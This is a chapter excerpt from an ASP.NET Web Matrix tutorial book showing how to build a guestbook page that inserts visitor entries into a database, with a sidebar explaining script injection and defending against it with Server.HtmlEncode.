The Guestbook Page


The page on which visitors will enter comments is straightforward it has just a few text boxes, plus whatever static HTML text you want to use to add captions. Figure 10-3 shows a guestbook page similar to the one you ll create in Web Matrix:

click to expand
Figure 10-3: The guestbook page in Design view.

Create the guestbook page

  1. In Web Matrix, create a new page named  Guestbook.aspx. Use the General template, as usual.

  2. Type in text such as My Guestbook, and choose the Block Format command from the Format menu to format the text as Heading 1.

  3. From the Web Controls tab in the Toolbox, drag the following controls onto the page and set their properties as indicated:

    Control

    Property Settings

    Textbox

    ID: textName

    Textbox

    ID: textEmail

    Textbox

    ID: textCity

    Textbox

    ID: textComment

    TextMode: Multiline

    Button

    ID: buttonSign

    Text: Sign!

    HyperLink

    ID: linkGuestbooklist

    Text: View Guestbook

    NavigateUrl:  ViewGuestbookGrid.aspx

    (You re setting the NavigateUrl property to the name of a page you ll create shortly.)

    Label

    ID: labelMessage

    ForeColor: Red

    Font.Bold: True

    Text: "" (empty)

Tip 

Press SHIFT+ENTER to create single-spaced lines on the page instead of the double-spaced lines you get when you press ENTER. In HTML terms, pressing SHIFT+ENTER creates a <br> tag instead of the <p> tag created by pressing ENTER.

You don t need a text box for the date; you ll add that programmatically when you insert the guestbook entry into the database. The labelMessage control will be a place in which you can display a message when you ve successfully updated the database.

  • Type in text for the captions next to the text boxes.

  • You re done for now with controls on the page. It s time to start writing some code.

    Creating Code to Add a Guestbook Entry to the Database

    The layout of the guestbook page is simple; the interesting part of the page is the code to insert a new record into the database. You ll need to write code to perform the following tasks:

    • Get the values of all the controls on the page

    • Open a connection to the database

    • Run a SQL Insert command to create the new row, passing to the command the values of the controls

    • Close the connection

    Performing these tasks requires several dozen lines of code in all. If you had to write the code for these tasks from scratch, you would need a good understanding of database programming in ASP.NET. Moreover, you d be apt to make a lot of small errors as you worked, and you d end up spending a long time fixing those small errors. (Trust me, I m speaking from experience.)

    Fortunately, Web Matrix includes some tools to help you insert a new record into a database. You ll take advantage of a tool called a code builder, which will create a function that contains the code for inserting the record. After Web Matrix builds the function for you, all you ll have to do is call the function when you want to insert a record into the database. And calling the function is simple.

    Generate the function for inserting a record into the database

    1. Switch to Code view for the page. In the Toolbox, you ll now see a single tab named Code Builders.

    2. Drag an INSERT Data Method element onto the page. Web Matrix starts the code builder that will create the code for inserting the record.

    3. In the Connect To Database dialog box, specify the name of your MSDE instance, select WebMatrix in the Database drop-down list, and then click OK. Web Matrix displays the Query Builder dialog box.

      Note 

      You might wonder why you need to specify connection information again even though you already created a connection to MSDE. The code builder is prompting you for the connection information that the page needs when it runs. When the page runs, it might connect to a different database than the one you used while creating the page. For example, if you deploy your page to a hosting site, the page would probably connect to a database on the hosting site, not to the database on your computer. Because it doesn t know where the page will ultimately run, Web Matrix plays it safe and prompts you for connection information any time you re using the code builder to create data- access code.

    4. In the Table list, select Guestbook. The Query Builder dialog box will look like this:

      click to expand

    On the right side, you ll see a list of the columns in the Guestbook table. The check boxes next to the columns indicate whether the columns have predefined (that is, default) values. The EntryID column has a default value because it s an auto-increment column. But the other columns don t have default values because you re going to supply the values for those columns from the visitor s entry. Therefore, the check boxes next to all the columns except the EntryID column are not checked. (I must admit that I find the check boxes in this pane somewhat counterintuitive.)

  • Make absolutely sure that only the EntryID column is checked, and then click Next. The builder now prompts you to enter a name for the method it will generate.

  • Type AddGuestbookEntry and then click Finish. Web Matrix creates a function named AddGuestbookEntry and writes the code about 20 lines into your page. The first line of the code is as follows (except that in the code editor, the code is on one line):

    Function AddGuestBookEntry(ByVal entryDate As  Date, ByVal  guestName As String, ByVal emailAddress As Str ing, ByVal city  As String, ByVal comment As St ring) As Intege  
  • I m not going to explain this code in detail. If you re curious, study the code a bit. You ll see that the code includes a connection object (named sqlConnection) and a command object (sqlCommand). The code also includes the text of a SQL Insert command that s assigned to the sqlCommand object. As I explained in Chapter 9, the connection and command objects are two of the objects that you use in ASP.NET Web pages to perform data access.

    By using the code builder and filling in some options in a couple of dialog boxes, you ve generated the code that s the heart of this page. I hope you ll agree that the process is fairly painless. Let s move on and take advantage of the code you just generated.

    Sending the Visitor s Input to the Database

    Now that you have the code necessary for creating the new guestbook entry in the database, the next step is to get the visitor s input and call the generated code. You want the page to perform these tasks when the visitor clicks the Sign! button, so the page needs to perform them as part of the Sign button s Click handler. Before you learn how to write code to accomplish these tasks, take a moment to understand how user input constitutes a security vulnerability in your Web applications.

    start sidebar
    Preventing Script Injection Attacks

    The page you re creating allows visitors to enter any text they want. Naturally, you re hoping that visitors will enter text such as Nice site! and I really loved your slideshow! , and that s the type of guestbook entries that most people will create. However, someone with a malevolent bent can enter not just text, but also HTML that includes executable code (client script). If you don t prevent visitors from entering HTML and script, someone can store malicious client script in your database. Later, when the malicious guestbook entry is displayed on another page, the page reads the client script out of the database. When the client script gets to the browser, the browser runs the script. Sneaking client script into a Web page in this way is called a script injection attack or a script exploit.

    Script exploits rely on the fact that when the Web server sends a page to the browser, the server is simply manipulating long streams of characters. The Web server doesn t really understand the content of those characters for example, the stream might contain strings like <b> and <img> and <A HREF=img.gif>. To the Web server, all the text in a page is just characters. Only the browser is programmed to be sensitive to characters like < and > and to interpret those characters in special ways. Most importantly for script exploits, if the browser finds a stream of characters that starts with a <script> tag and ends with a </script> tag, the browser treats everything between the two tags as executable code. If a user with bad intentions can get your application to accept some input that contains a script block and then get the application to send the input to a browser (for example, by storing it in a database that another page reads), the user can get the browser to execute anything in that script block.

    The damage that a script exploit wreaks can vary from mildly annoying to very dangerous. A prankster might inject script that simply pops up a message in the browser. However, sophisticated attackers can leverage script exploits to try to redirect a browser to a site with more malicious code on it, or to try to steal cookies with sensitive information in them, and so on. Leaving yourself open to the possibility of a script exploit is a serious security vulnerability.

    To help prevent script exploits, we re going to use the Server.HtmlEncode method, which converts HTML characters in the user s input to a harmless display format. For example, if a user enters the left angle bracket (<), which in HTML normally indicates the beginning of a tag, the Server.HtmlEncode method converts the character to the HTML string &lt;. A string such as <script> therefore becomes &lt;script&gt;. If the string &lt;script&gt; is stored in your database and is then displayed on a page, the browser doesn t treat the string as executable code; instead, the browser simply displays the string as <script>. We ll use the Server.HtmlEncode method to convert, or sanitize, all user input, thus weeding out any potentially harmful script.

    You ll find more information about protecting your application against malicious input in Appendix A. The most important thing to remember for now is that you should always be distrustful of what users are sending you. Security people tell you to always assume that user input is dangerous until proven otherwise. I urge you to follow that advice and code defensively.

    end sidebar

    Read user input and call the Insert code

    1. Switch to Design view, and double-click the Sign! button to create a Click handler for the button.

    2. Switch back to Code view. In the buttonSign_Click handler, start by declaring variables. You ll need one variable for each control, plus you ll need a variable to hold the entry date. You then load the variables with the values of the controls, making sure that you pass the user input through the Server.HtmlEncode conversion. For the entry date, assign Now to the variable.

      The boldfaced code in the following example shows how to accomplish these tasks:

      Sub buttonSign_Click(sender As Object, e As Ev entArgs     Dim entryDate As DateTime     Dim guestName As String     Dim emailAddress As String     Dim city As String     Dim comment As String          entryDate = Now     guestName = Server.HtmlEncode(textName.Text)     emailAddress = Server.HtmlEncode(textEmail.Text)     city = Server.HtmlEncode(textCity.Text)     comment = Server.HtmlEncode(textComment.Text) End Sub
    3. Insert the new record in the database by calling the AddGuestbookEntry function that Web Matrix generated for you. When you call the AddGuestbookEntry function, pass it the values to insert into the database. To accomplish these tasks, add the following boldfaced lines to the Click handler, right after the code you inserted in step 2:

               Try         AddGuestbookEntry(entryDate, guestName, _             emailAddress, city, comment)         labelMessage.Text = _             "Thanks for signing my guestbook!"         buttonSign.Enabled = False     Catch         labelMessage.Text = _             "There was an error updating the guestbook!"     End Try End Sub 

    Notice that this example code includes a Try-Catch block for error checking. Working with databases is subject to error, so you should always code database access defensively. In this example, if an error occurs, we don t make any effort in the Catch block to determine exactly what the error is. For now, we ll just report that something went awry by displaying a generic error message in the labelMessage control.

    As illustrated in this example, you can also use the labelMessage control to display a message when things go right. Here I display a thank you message after I call the AddGuestbookEntry function. As a nice touch, after a successful update, disable the Sign! button so that people don t inadvertently post the same guestbook entry again.

    That s it for the guestbook entry page. You can now run the page and make real entries to the Guestbook table.

    Test the guestbook

    1. Press F5 to run the page.

    2. When the page is displayed, enter some data for each field.

    3. Click the Sign! button. If the entry was successful, you ll see the confirmation message at the bottom of the page.

    4. Return to Web Matrix, and confirm that your guestbook entry made it successfully into the database. In the Data window, open the Tables node and double-click the Guestbook table. Web Matrix displays the Edit Table window, which shows you what s in the table. There s your entry!

    We ll make some improvements to the  Guestbook.aspx page later in this chapter, in the section Validating User Input. In the next section, we ll turn our attention to a better way of viewing guestbook entries than peeking into the database in Web Matrix.




    Microsoft ASP. NET Web Matrix Starter Kit
    Microsoft ASP.NET Web Matrix Starter Kit (Bpg-Other)
    ISBN: 0735618569
    EAN: 2147483647
    Year: 2003
    Pages: 169
    Authors: Mike Pope
    BUY ON AMAZON

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net